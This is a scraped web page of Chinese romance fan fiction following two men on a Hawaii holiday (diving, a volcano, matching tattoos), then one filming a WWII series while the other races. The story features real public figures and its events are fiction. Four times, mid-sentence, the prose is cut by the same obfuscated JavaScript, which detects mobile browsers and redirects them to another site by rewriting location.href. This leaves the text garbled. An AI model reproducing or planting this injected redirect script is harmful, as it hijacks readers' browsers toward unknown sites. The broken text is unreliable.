林利站在车旁，望向无垠的海面。波浪一层层推上来，扑过又热又咸的海风。 “林。” 林利转头。 麦克斯正站在门口，钥匙在手里转。阳光从侧面打过来，勾出他的轮廓。 “愣着干嘛？”麦克斯笑得灿烂，朝他扬了扬下巴，“进来吧。” …… 第二天醒来的时候，阳光已经从窗帘缝隙钻进来。 林利睁开眼，麦克斯还在睡，脸半埋在被子里，肩膀随着呼吸起伏。 他轻手轻脚地换上泳裤，赤着脚走向室外。 泳池的水很凉。 林利踩着台阶慢慢下潜，水没过脚踝、小腿、大腿。凉意一路往上爬，激得他皮肤起了一层细密的鸡皮疙瘩。 他深吸一口气，整个人扎进水里。 蓝色的光从水面投下来。鸡蛋花的花瓣漂在水面，影子在池底晃。 世界突然变得安静。 “起这么早？”麦克斯站在池边，头发乱得像个鸟窝，手里端着瓶冒冷气的气泡水。 林利闻声浮上水面，抹了把脸，手臂搭在池边仰头看他：“你睡得怎么样？” “很好。”麦克斯蹲下身，将饮料递给他，“好久没睡这么踏实了。你呢？” 林利接过瓶子喝了一口，好冰。 “还行。”林利把气泡水还给他。 麦克斯的眼睛在早晨的阳光下很浅。他没穿上衣，肩膀被晒出了一道明显的红。 “转过去一下。”林利说。 “嗯？”麦克斯疑惑地扭头。 林利伸出湿漉漉的手指，轻轻戳了戳他肩胛骨的位置：“这里晒伤了。” “啊。”麦克斯缩了下肩膀，龇牙咧嘴道，“昨天忘了补防晒霜。” “笨。” “你才笨。”麦克斯站起来，动作利落地脱掉T恤，“我也要下来。” 他一跃而起，弓着身子砸进水里，水花溅得到处都是。 “F**k!”他浮上来猛地一甩脑袋，湿头发啪地一下抽在脸上，“这么凉！你怎么不早说！” “我来不及啊，你哐当一声就下来了。”林利笑得肩膀发颤。 “不管，你应该阻止我。”麦克斯游过来，凑到林利跟前。水珠挂在他睫毛上，在阳光下亮晶晶的。 林利伸手推他挤过来的脸，掌心蹭过湿漉漉的脸颊：“滚远点，挤死了。” 麦克斯顺势抓住他的手腕，拉过来亲了一下手心：“你不能这样对我。” 他做了个委屈的表情，像只泡泡鱼。 中午吃完饭，麦克斯执意要去海边。 “现在？”林利看了眼窗外，阳光刺得眼睛疼，“太晒了吧。” “涂防晒霜啊，而且很近的。”麦克斯起身去翻行李。 他找到防晒霜，挤了一大坨在手心，走回来直接抹在林利脸上。动作很粗鲁，拇指在他颧骨上使劲推开，把防晒霜抹得到处都是。 “你轻点！脸要被你揉掉了！”林利往后躲。 “哪有不轻。”麦克斯抓住他的下巴固定住，继续抹，“这样量才够。” “好了。”麦克斯拍了拍他的脸，“走吧。” 他们穿过别墅后面的木栈道，踩上细密的浅米色沙子。 林利踩上去被激得立刻跳开：“烫死了！” “跑快点！”麦克斯已经抢先一步直奔海边，回头冲他大喊。 林利踮起脚尖小跑着跟上去，沙子烫得脚底板发疼。 凉凉的海水冲上来，浪花溅到小腿上。 “舒服。”林利松了口气，脚趾头惬意地蜷了蜷。 海浪一波接一波。 林利站在水里，一个浪打来，他差点没站稳，整个人晃了一下。 麦克斯反应迅速地环过他的腰，将他稳稳带进怀里。 “站稳点。” “浪太大了好吧。”林利反驳。 “那我怎么没动？”麦克斯刚挑衅完，又一个更大的海浪扑过来，撞得他也趔趄了一下。 林利立刻趁机推了他一把：“你刚说什么来着？” 两人笑成一团。 等浪小了些。 他们向深处走去，海水浸过腰。 一群银色的小鱼游过来，在他们腿边绕。 “你看。”麦克斯压低声音，轻轻拽了拽他。 他们屏住呼吸，一动不动地立着，生怕惊扰到这群小家伙。 阳光穿透水面，在水底投下晃动的光斑。 很安静。只余下起伏的浪声，还有远处海鸟掠过的长鸣。 …… 凌晨四点，闹钟滴滴响起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178562|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林利迷迷糊糊爬起来找衣服。 外面天还黑着。 包车准时到了。司机兼向导是个六十多岁的本地大叔，皮肤晒得黝黑，穿着褪色的印花衬衫。 “早。”他咧嘴笑，露出一口白牙，“要开两个多小时，你们可以再睡会。” 车里放着慢悠悠的夏威夷老歌，吉他混着人声。 林利靠在窗边，半睡半醒。车子颠簸，脑袋一晃一晃。 麦克斯的手搭在他腿上，指头有一下没一下地打着圈。 窗外星星密密麻麻。 天边泛白时，他们到了火山国家公园。停车场空荡荡的，只有两三辆车。 “走吧，趁人还少。”向导说。 踩在火山岩上，脚底嘎吱嘎吱响。 黑色的岩石，粗糙的形状有些怪异。 林利低头盯着脚下，这些都是岩浆冷却后的样子。他踩着的以前都是滚烫的红色液体，现在凝固成了冰冷坚硬的石头。 硫磺味越来越重，熏得人鼻腔发酸。 “好臭。”林利皱着鼻子，抬手扇了扇。 “EW,”麦克斯也皱眉，嫌弃地说，“闻起来像臭鸡蛋。” 地面的温度在上升。裂缝里冒着白色的蒸汽，嘶嘶作响。 林利好奇地蹲下身，试探着想伸手感受温差。 “别碰。”麦克斯一把抓住他手腕，“你想变成烤肉吗？” “我就看看。” “看看也不行。”麦克斯握紧他的手，半拽半拉地带着他继续向上。 再往上走，越来越热。 林利的呼吸开始变重，每一步都走得有些吃力。 麦克斯递水过来，瓶子已经被蒸得温温的。 “还有多久啊？”，林利灌了一口水问。 “快了。”麦克斯仰头看向前面，“你看。” 向导已经停在平台上，回头冲他们招手。 林利走上观景台，整个人愣住了。 面前是巨大的深渊。 坑壁是层层叠叠的黑色岩石。 而坑底是一片红色。鲜艳又刺眼，像血一样。 那是熔岩湖在翻滚。粘稠的液体旋转着，表面结了黑色的壳，又不断被顶裂，露出下面喷薄的岩浆。 裂开、合上、又裂开。 像在呼吸。 像地球的心脏在跳。 太热了。汗不停往下滴，林利却顾不上擦，他的手死死抓紧栏杆。 地底传来持续的轰鸣，震得他胸腔都在颤。他突然意识到自己有多渺小。站在这里，面对如此原始、如此庞大的力量，他什么都不是。 “哇……”他低声感叹，声音在热风里有点发抖。 “是挺牛的。”麦克斯的声音也一样。 林利侧头，红光在麦克斯脸上明明灭灭，勾勒出他同样愕然的神情。 林利的呼吸渐渐平稳。 那些烦恼、担心、关于未来的焦虑，好像都被这股地热给熔化了。 “它会一直烧下去吗？”林利突然开口。 “不知道。”麦克斯耸了耸肩，视线仍落在远处，“应该会吧。” “如果有一天熄灭了呢？” 麦克斯转过头，在熔岩的红光下，他的蓝眼睛显得很深。 “你在说火山？” 林利没有回答，避开了他的视线。 过了一会，麦克斯捏了捏他的手臂：“走吧？” 林利点点头，这才回过神。 麦克斯顺势握住了他的手，手掌又烫又湿。 离开时，林利最后回了一次头。 会一直烧下去吗？没人在乎。 但至少此时此刻，它还在燃烧。 23.真空地带（二） “你确定我不需要潜水证？”麦克斯问。 他们坐在露台上吃早餐。天刚蒙蒙亮，海面还泛着冷硬的灰蓝色。 “确定。”林利抿了口热茶，“体验潜水不需要证，有教练全程拎着你。” “哦。”麦克斯低头翻着手机，拇指快在屏幕上搓出火星子了。 “看什么呢？这么入神。”林利探过头瞄了一眼。 “潜水视频。”麦克斯头也不抬，聚精会神地盯着画面里一个穿着潜水衣的身影，“看他们怎么呼吸的。” 他的眉头越皱越紧，下唇微不可察地向外翻，眼睛眯成一条缝，严肃得像在审阅生死合同。 林利放下茶杯，无奈地摇摇头。 麦克斯用手背蹭了下鼻尖，手机往桌上一拍：“水温大概多少度？”他不知道又刷到了哪条关于失温的科普。 林利撕开一小块吐司，回忆了一下：“应该不会很冷？” 麦克斯点点头，继续发问： “需要穿很厚的潜水衣吗？” “没那么厚。” 他的手指在桌面上密集地敲着：“那鱼或者海龟，它们有领地意识吗？会咬人吗？” 林利终于忍不住笑出声：“不会，麦克斯。你到底在担心什么？” “我没担心。”麦克斯猛地站起身，椅子在地板上划出一声刺耳的尖叫，脸上闪过一丝不自然，“我去拿毛巾。” 他走进屋里。紧接着，楼上传来一阵翻箱倒柜的闷响，还有他低声的咒骂。 …… 车开出度假村，向霍诺科豪港驶去，黑色的岩石从车窗两边掠过。 麦克斯双手直直地焊在方向盘上，眼睛盯着前方。 “你以前潜过几次？”他问。 “挺多的。”林利扫了眼他绷直的胳膊，“你今天怎么了？” “就是想知道。”麦克斯换了个档，“你第一次潜水的时候紧张吗？” “还好吧，有一点点。”林利说，“但下去之后就好了。” “嗯……”麦克斯发出一声迟疑的轻哼，没再说话。 过了一会，麦克斯又开口了：“教练会一直在旁边吗？” “会的。” “那如果我做错了什么……” “他会帮你。”林利摸了摸他的胳膊，“放轻松。” “好吧，其实我挺轻松的。”麦克斯嘴硬道，鼓了鼓腮帮子。 到达霍诺科豪港时，太阳刚从海平面露头。海浪托着潜水船有节奏地起伏。 他们找到预订的那艘白色双层船，船长正站在甲板上朝他们挥手：“林利和麦克斯？” “是我们。”林利说。 “很好，上来吧。”船长笑着做了个邀请的动作，“教练已经在准备了。” 他们走上甲板，上面堆满了各种装备。麦克斯在那堆氧气瓶前驻足，盯着那些东西看了好几秒， “第一次？”一个皮肤黝黑、笑起来眼角全是褶子的年轻人从船舱走出来。 “我是杰夫，你的教练。”他一眼看出谁是今天的服务对象，向麦克斯伸出手。 “别紧张，”杰夫笑着说，“我全程带着你。” 船发动了，引擎轰鸣着驶离码头。 麦克斯站在船舷边，手紧紧抠着栏杆。海风吹乱了他的头发，他抬手把帽檐往下压了压。 林利走过去靠在他旁边：“你在看什么？” “没什么。”麦克斯舔了舔干涩的嘴唇，“看看有没有鲨鱼。” 林利顺着视线看过去，水下除了深邃的蓝什么都没有。他心中了然，抬手拍了拍麦克斯硬邦邦的肩膀：“没事，我也在你旁边呢。” “到了。”船长从驾驶舱探出身子，“这里水很清，浪也小，最适合新手。” 杰夫将潜水衣一件件摊开，检查拉链和接缝。 “好，我们先讲一下基本的。”他拿起一个呼吸管转了一圈，“潜水最重要的是呼吸。永远用嘴呼吸，不要用鼻子。” 麦克斯跟随着杰夫的动作点头，注视着对方手里的呼吸管。 “面罩进水了怎么办？”杰夫戴上面罩示范，“抬头，按住这里，从鼻子呼气。水就出去了。”他重复了一遍动作，水珠从面罩边缘滴下来，“看到了吗？” “看到了。”麦克斯声音有点僵硬。 “耳朵不舒服就捏鼻子鼓气，记住要轻轻的。”杰夫捏了一下鼻子，鼓起腮帮子，“太用力会伤到耳膜。” 麦克斯嘴上学着动作，也鼓了鼓脸颊。 “手势。”杰夫抬起手，在阳光下利落地比划着，“OK是这样，上升是大拇指朝上，下降朝下，有问题就在脖子这里划。”他做了一遍，示意麦克斯跟上，“再来一次，OK。” “很好，上升。” “下降。” “有问题。” “完美。”杰夫笑了，“现在穿装备吧。” 林利走到装备前，拿起一件潜水衣，橡胶的味道很重。他套上去拉好拉链。然后是浮力背心，他穿过手臂，扣好胸前的卡扣，动作很流畅。 而麦克斯正拎着他的那件衣服，翻来覆去找不到入口。 “从头套。”林利指了指。 “我知道，我在找。”麦克斯闷闷地应了一声，一头扎进去。 袖子卡住了。他使劲拽了一下，布料死死勒在肩膀上，整个人像被捆住一样僵在半空。 “等等。”林利走过去抓住袖口，“肩膀放松，别跟它较劲。” 麦克斯长舒一口气，垮下肩膀。布料贴着皮肤发出“滋滋”的摩擦声，终于滑到位。 “谢了。”麦克斯低声嘟囔，脸上起了点红晕，也不知道是晒的还是不好意思。 他接着帮麦克斯穿上浮力背心，拉着带子调整松紧。 “不要太紧，能呼吸就行。”他松了几下带子，“感觉怎么样？” “还行。”麦克斯应着，手却不由自主地在背心边缘抠来抠去。 “还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178563|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个。”杰夫把沉重的氧气瓶推过来，“这个我来背。你只要记住呼吸的动作就好。” 他递给麦克斯一个面罩和呼吸管。 麦克斯咬住呼吸管，深吸一口气。 咕噜咕噜的声音从管子里传出来。 他又吸了一口，还是咕噜咕噜的。 “慢一点。”杰夫安抚地拍拍他，“不要急，深呼吸，慢慢来。” “我先下去。”杰夫说，“麦克斯，你随后，我在水里接你。” 扑通一声。杰夫率先入水，在蓝色的波光里朝上面挥手。 麦克斯坐在船舷边晃了晃腿，触到海水的瞬间缩了一下。 他回头望了林利一眼。隔着面罩，林利看不清他的眼神，但能感觉出来有点紧张：“你可以的，我在你后面！” 随着麦克斯笨拙地沉入水中，林利按下了放气阀。 蓝色，到处都是蓝色。 林利任由身体轻盈地漂浮。 麦克斯就在前面不远处，正被杰夫扣住手腕慢慢往下带。 大概是由于紧张，他的腿突然用力蹬了一下，整个身体往前冲。林利急忙游过去，配合杰夫一起做了个平抚的手势：慢下来。 麦克斯隔着面罩看向他，有些局促地点了点头，吐出一串细碎的气泡。 再往下，耳膜开始隐隐作痛。林利捏住鼻子轻轻鼓气，“啵”的一声，挤压感消失了。 他注意到麦克斯也在尝试做耳压平衡。第一次，手滑了。第二次，身体失衡地晃了晃。直到第三次，麦克斯才终于找准了窍门，整个人如释重负地舒展开来。 海底世界逐渐显现。珊瑚礁从黑色的岩石上长出来，橙色、紫色、黄色交织成绚丽的色块。成群的游鱼穿梭其间，鳞片闪过细碎的光。 这里的鱼好奇心重得惊人，有时候会大摇大摆地撞在面罩上。 林利很喜欢这种闯入异世界的感觉。 一只巨大的海龟从右侧悠然划过。 林利最先察觉到它，厚重的壳上附着藤壶和海藻。他伸手戳了戳麦克斯，指向那个庞然大物。 麦克斯转过头，停住了动作。 海龟慢慢划动，离他们越来越近。它的四肢很有力，每一下都带起小股水流。 它几乎是贴着麦克斯游了过去。林利看到麦克斯的身体随着海龟的方向而移动，目光紧紧盯在那道影子上。 海龟微微侧头，黑色的眼睛扫了他们一眼，然后继续向前游去。 麦克斯回过神来，隔着起雾的面罩，对着林利郑重地竖起一个大拇指。 他们重新出发。林利注意到麦克斯的动作慢慢放松，腿蹬得不再那么僵硬。他的动作虽然还有点笨拙，但已经很像样了。 林利想起麦克斯早上如临大敌、问东问西的样子，在面罩后无声地弯了弯嘴角。 在这片不需要言语的蓝色地带里，他看着麦克斯正努力融入这片寂静。 这就是潜水的魅力，他每次都舍不得离开。 24.粉色迷雾 “你在看什么？”麦克斯好奇地探过头。 林利举起手机，屏幕上是他这两天频繁刷到的希洛市场，画面里琳琅满目的水果、花卉和饰品。 “想去这里，希洛农贸市场。”林利抬眼看向麦克斯，藏不住亮晶晶的期待，“今天是周六，最热闹的时候。” 麦克斯搜了下地图，一个半小时车程。他的指节在下巴上轻轻一磕，站起身：“那走吧，我去拿钥匙。” 他们沿着19号公路一路向北。高大的雨林乔木开始遮蔽天空，阳光从叶缝里漏下来，在柏油路上跳跃，也将斑驳的光影洒在麦克斯脸上。 希洛市场是个被色彩撑满的地方，大片的遮阳棚下挤满了喧嚣，叫卖声、笑声和雷鬼乐混在一起。 林利深吸一口气，熟透的水果味混着湿润的泥土气息直往鼻子里钻。 “哇。”麦克斯摘下墨镜，有些惊讶，“好热闹。” 他们挤入人群，地面踩上去软软的。 “要试试吗？”棕色皮肤的摊主热情地递过一颗水果，“新鲜！今天早上摘的！” 麦克斯接过那颗长满软刺的奇怪果子，掂了掂，表情有些无措。他转头看向林利：“这是什么？” “红毛丹。”林利说，“和荔枝差不多。” “怎么吃？”麦克斯捏了捏外壳，不太确定从哪里下手。 摊主笑着帮了一把，拇指一按，外壳裂开露出半透明的白色果肉：“像这样。”他把果肉递过来。 麦克斯小心地咬了一口。 “好吃吗？”林利紧紧盯着他的表情。 麦克斯的眉头舒展，眼睛弯起来，嘴角还挂着一丝果汁：“挺甜的。像荔枝，但是更滑？” “买一袋吗？六块钱！”摊主边说边撑开塑料袋。 麦克斯接过塞得满满的袋子，又拿起一颗学着刚才的动作剥出果肉，直接递到林利唇边。 林利下意识张口，果汁在齿间爆开，满口酸甜。 穿过芒果和木瓜的香味，林利在花环摊位前停下脚步。 白色的鸡蛋花被串成长长的花环挂在架子上。 “鸡蛋花。”摊主头发花白，手指灵活地串着新的花环，笑眯眯地打招呼，“很香吧？” 麦克斯也凑过来，伸手摸了一下花瓣，手指在上面轻轻划过。 “要买一串吗？”老太太递过来一串，花瓣在她手里晃动，“戴在身上，走到哪里都香。” 林利接过花环，分量比他想象中重。一个恶作剧的念头在心底跳出来。 “别动。” “嗯？”麦克斯茫然地侧过头。 林利踮起脚，将花环套在他的头顶。花环太大了，歪歪斜斜地挂在麦克斯的额头和耳朵上，一边高一边低。白色的花瓣贴着他晒得红红的皮肤，格外显眼。 林利后退半步端详着，忍不住笑了。 “怎么样？”麦克斯问，脸更红了，从脖子一直红到耳根。 “像……”林利咬着嘴唇使劲憋笑，“像个新娘。” “什么？！”麦克斯急忙伸手去摘，“你在逗我！”他瞪着眼，嘴角却明显在努力往下压。 旁边的老太太也跟着乐，用浓重的口音喊道：“帅气！非常好！” 麦克斯叹了口气，看着林利，下唇微微抿起，眼睛里有点委屈又有点好笑：“那你也得戴。” 这次换林利想躲，却被麦克斯眼疾手快地按住肩膀：“别动，公平。” 花环擦过林利的额头，更浓郁的香味包裹住他。 “好了。”麦克斯笑得很开心，“现在我们是一对新娘了。” 林利哭笑不得。 他们戴着花环继续逛，收获了不少善意的目光。有个小孩指着他们清脆地喊：“Aloha boys！” 麦克斯被呛了一下，林利假装没听见，下意识把花环往脖子后面扯了扯。 手工艺品摊位上摆满了木雕。麦克斯拿起一只小小的木海龟，在手里转了转。 “这个不错。”他说着又放下，摆弄起旁边一个木雕的菠萝，“这个也挺可爱，你看这个刺。” 林利的视线扫过那些花哨的纪念品，最后停在角落一只小木鸟上。 很简单的造型，翅膀半张，像要挣脱出来。线条流畅，没有多余的装饰。 他们继续穿过人群向前。林利的视线投向对面街角的一家纹身店，心跳突然快了一拍。 他想起那只小木鸟，想起海龟在水下滑翔的样子，想起麦克斯说“只要在一起就够了”。 他想留下点什么。 “麦克斯。” “嗯？”麦克斯转过头，吸管还含在嘴里。 “你……”林利看着他，下定了决心，“你想纹身吗？” 麦克斯愣住了，椰子举在半空，吸管从嘴里滑出来。 “纹身？” 麦克斯顺着他的视线看过去，又转回来看向林利，蓝眼睛睁得圆亮。 “现在？” “嗯。”林利点点头，“你和我一起吗？” 麦克斯挤弄了一下五官。他将椰子丢向垃圾桶，下颌的线条松动了几下。 “走吧。”他动了动嘴唇，声音带着点紧绷的兴奋。 纹身店里空调开得很足，一进门便是阵阵凉意。墙上贴满了各种风格的图案。 纹身师坐在椅子上，头发扎成很多小辫子。 听到门响，他抬起头打量了眼两人：“嗨，想纹点什么？” “纹只鸟。”林利说，“小的，飞起来的那种。” 纹身师从架子上翻出一本图册，指尖划过页面：“类似这种？” 太复杂了。林利摇摇头，“我想要更简单的，线条流畅一点，鸟的翅膀展开，像要飞起来的样子，但不要太多细节。” 纹身师转身在纸上画了几笔，举起来示意：“这样？” “对。”林利盯着纸上的轮廓，脑海中勾勒了一下，“再小一点，蓝色的。” “蓝色？”纹身师挑眉，“你确定？大部分人都选黑色。” “深蓝色，像……”林利停顿了一下。 像什么？ 像深海？像午夜？ 还是像那台赛车？ “深海军蓝。”他掩饰着敲定。 “你说了算，纹哪里？” 林利摸向自己的侧腰，掀起T恤的下摆：“这里，纹两只。” “侧肋骨？”纹身师吹了声口哨，“那可不好受，挨着骨头都疼。” “没关系。” 纹身师转而看向麦克斯：“你也要？” 麦克斯咬了咬嘴唇，眼底的光微微闪烁。 “一样的。”他像是下定决心，“同样的位置。” “同款？”纹身师挑眉，“Sweet，谁先来？” “我先。”林利走上前。 凉凉的消毒液擦过侧腰，让他打了个冷颤。纹身机嗡嗡作响，密密麻麻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188721|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼痛沿着肋骨传开，他紧紧捏着扶手，掌心发汗，强迫让自己放松下来。 “还好吗？”麦克斯蹲在椅子旁，握住了他的手。 林利侧过头，麦克斯的手指收得很紧。 针头仍在跳动，一笔一笔勾勒出飞鸟的轮廓。纹身师的手很稳，蓝色的墨水渗进皮肤，线条一点一点成型。 “好了。”纹身师收了手。 林利长出一口气，紧绷的身体软下来，肋骨那里火辣辣的。 他坐起身，低头看向侧腰。 两只小小的蓝色鸟，翅膀展开。周围的皮肤红红的还在渗血珠。 “轮到你了。”纹身师抬起下巴，示意麦克斯躺下。 麦克斯看起来比林利紧张得多，手指局促地在椅子扶手上反复摩挲。 一针刺下，麦克斯整个身体都缩了一下，倒吸一口气：“该死。” 他指节发白，紧紧抓着林利的手腕，额头渗出一层细汗。 “我怎么……”他说到一半就闭紧了嘴，呼吸变得很重，胸口剧烈起伏着。 “看着我。”林利轻声说。他望进麦克斯那双像冰层融化一样湿润的眼睛，心里像被什么东西撞了一下。 终于，纹身师停下动作。 麦克斯整个人都瘫在椅子上，额头、脖子、胸口都是汗：“我以后再也不纹了。”他喘着气看向天花板。 林利笑着将他拽起身。 走出店门，林利被阳光刺得眯了眯眼睛，侧腰隐隐作痛，保鲜膜贴在伤口上，闷闷地让他不自觉想动。 他们站在街边看着彼此。两个人都戴着白色花环，T恤下面藏着一模一样的纹身。 …… 回程的路上，麦克斯在海滩边停下车。 天空开始变色了。 粉色，浓烈、像雾一样弥漫的粉红色。夕阳藏在云后，光线透过云层洒下来，整片天空都浸泡在这迷幻的色调里。 “林。” 林利循声回头。麦克斯走到他旁边，余晖也在他的脸颊上投下淡淡的暖调，睫毛镀着金边，眼睛闪闪发光。 云层在慢慢移动，光线一秒一个样子，周围的一切都被粉色的迷雾笼罩。 林利突然觉得有点不真实。如果这是梦境，这种美甚至让他从心底产生惶恐，他知道梦总会醒的。 麦克斯转过身，他离得很近，林利能看到那双蓝眼睛里正晕开一层薄薄的粉。 他的手指碰到林利的脸颊，泛起细密的触感。 他靠过来，落下一个轻轻的吻。 林利闭上眼睛。 咚咚。 咚咚。 麦克斯托住林利的后颈，手指没入发丝收紧了力道。吻加深了，交缠着椰子水的甜味和花香。林利情不自禁地探入麦克斯的T恤，掌心之下，皮肤的触碰带着滚烫的热意。 他紧紧攥着麦克斯的衣角。 粉色的光晕将两人包裹住吞没。 不知道过了多久，他们分开。额头与呼吸交织在一起，急促的温度上升。 “林。”麦克斯哑着嗓子又念了一声。 林利睁开眼，麦克斯的温柔快要溢出来，眼里盛满了未尽的言语。 他们再次深吻。 海浪一波波漫过脚踝。粉色的夕阳悄悄暗淡，天空的颜色像水彩一样晕开。 保鲜膜下的皮肤火辣辣的，将他们拽进现实。 两只小小的蓝色飞鸟刺进皮肤里，他们抓住了彼此。 25.一程又一程 2021年，2月。 英国，牛津郡。《空战群英》集训。 天还没亮就开始下雨。林利站在训练场的队列中，泥水溅在裤腿上。教练的哨声传来，他机械地迈开腿，和其他演员一起开始跑步。 集训的第一周，他们被导演叫到这里，深度沉浸20世纪40年代的兵营生活。纪律、体能、机舱实操……林利仿佛又被拽回《1917》那个泥泞的片场。 “再快点！动起来！” 身旁的卡勒姆·特纳剧烈喘息着，抹掉脸上的雨水：“还活着吗？” 林利连侧头都费劲，只挤出几个细碎的音节：“勉强。” 晚上九点，这一天的训练才结束。林利一头栽倒在宿舍窄小的床上，浑身的肌肉都在抗议。摸出手机，麦克斯的消息已经在对话框里安静地躺了几个小时。 【Emily：我想Spyke了。[图片：狗狗]】 林利艰难地抬动手指： 【L：我也是，保重。[抱抱]他和我们同在。】 消息还没显示已读，眼皮就重得睁不开了。 手机掉在枕边，屏幕还亮着，林利就这么睡着了。 …… 两周的集训总算熬了过去。 林利逐渐掌握了驾驶舱的精密操作，穿着飞行服在模拟舱里练了几十个小时，无线电里的代号和术语逐渐变成本能反应。 每隔几个晚上，剧组就组织他们坐在一起观看搜集来的真实战争影像。斯皮尔伯格和汉克斯来做了几次演讲，分享“二战三部曲”的心路历程。他们说，拍这部剧是为了还那一辈人一份恩情。 演员们也会在剧本研讨时各抒己见，林利在一次交流后，突然意识到自己正投身于一件极具分量的事，远不只是拍一部电视剧。 3月，正式拍摄启动。 每天早早起床，妆造需要两个小时。林利穿上飞行服，戴上氧气面罩，坐进狭窄的驾驶舱。 镜头对准他，“Action!”。在那一刻，他就变成了冷静又可靠的克莱文少校。 这是林利第一次拍电视剧，调度方式和电影存在很大不同。电视剧的节奏要快得多，镜头切换更频繁，时间卡得很紧。 有时候他要在模拟舱里连着坐六七个小时，出来的时候腰都僵了。好在导演很满意，称赞他“完全就是克莱文”。对演员来说没有什么比这更好的评价了。 和麦克斯的联系在不知不觉中减少了。 太忙了，他经常回到酒店连说话的力气都没有。有时候想等第二天醒来多回复几句，但一天更比一天累。 有一次，林利半夜醒来发现手机掉在地上，屏幕还停留在两人的对话框。麦克斯发来一个孤零零的“？” 林利赶紧回复： 【L：刚才睡着了。[可怜]】 谁知道麦克斯也还没睡： 【Emily：没事，快睡吧，好好休息。】 就这样，三月过去了。 …… 3月28日，巴林大奖赛。 林利迎来一场非常重要的戏，克莱文第一次带队执行任务。他用力扣紧耳机，对着无线电命令：“保持编队，我们要整整齐齐地回来。” 他戴着厚重手套的手猛地推下节流阀，视线外几百个高射炮接二连三地爆开，机舱在他身下剧烈震颤。他丝毫没有闪躲，双眼直视着被机翼边缘撕开的浓黑烟雾，余光扫过仪表盘上狂跳的指针。 强劲的气浪掀得机舱侧倾。他死命稳住操纵杆，对着情绪失控的队友吼道：“别看炮火！盯着你们的前机，所有人贴紧了！” …… 拍了一遍又一遍。 收工时，林利才猛然想起今天是比赛日。还没来得及翻看结果，卡勒姆叫住了他：“明天的戏，我们要再对下台词吗？今天的状态还是差点意思” 林利收起手机，点点头，跟着他走进房间。 “你为什么没告诉我？”林利翻开剧本，“你经历过这些，为什么没告诉我它是这样的？” “我不知道该怎么说。”卡勒姆回道。 口袋里手机震了震，他来不及理会。 “你说过那只是一场表演。” “我正是这么称呼它的——” 手机更加密集地震动，是电话。 林利停下台词，有些抱歉地示意：“不好意思，我得处理一下。” “去吧。”卡勒姆耸耸肩。 回到房间掏出手机，屏幕上一连串未读消息，全是麦克斯发来的： 【Emily：F**k】 【Emily：这什么狗屁规则。】 【Emily：你在吗？】 通话请求又一次响起。 林利心中一紧，出什么事了？ “麦克斯？” “林。”麦克斯的声音带着压抑的愤怒，“你看比赛了吗？” “还没来得及看，发生什么了？” “我本来赢了。”对面传来捶桌子的闷响，“但他们竟然让我交还位置，简直是不可思议！” “汉密尔顿整场出线了那么多次，我都看见了！”林利能听到他在房间走动的声音，“我就那么一次，就一次。超车的时候跑出去，他们就要求我交位置。” “这什么规则？”麦克斯继续说，语速很快，“赛事中心后来才警告他要收敛点，甚至连惩罚都没有。而我……” 他停顿住了，声音变得沮丧：“我本来能赢的，这个赛季第一场比赛。” 林利能听见他急促的、不甘的呼吸声。 “麦克斯，”林利轻声开口，“这已经是进步了，对吗？车的状态还不错，我们有竞争力了。” “我知道这不公平，那些规则……算了，不值得。” 他找了个角落坐下来，将手机放在桌面，“但我们得看向未来，你绝对有争冠的能力，我们都很清楚。” 麦克斯在那头沉默了很久，叹了口气：“对，情况的确在变好。”他话音一转，又抬高音调，“所以下一场我一定会赢回来，在赛道上让他们闭嘴。” 林利勾起嘴角，心中涌起一股熟悉的感觉。这就是麦克斯，对胜利极度渴望，永远不服输。 让他在如此疲惫的夜晚也无法停止被吸引。 去年的时候，麦克斯是遇到一些阴霾和挫败。 现在那头狮子回来了。 “你会赢的。”林利确定地说。 麦克斯语调软了一些：“你呢？你那边怎么样，好像更忙了？” 林利仰靠在椅背上，困意重新袭来。 “还是一样。”他无奈地抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197602|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨，“今天也是一整天，刚才还在和卡勒姆对台词。” 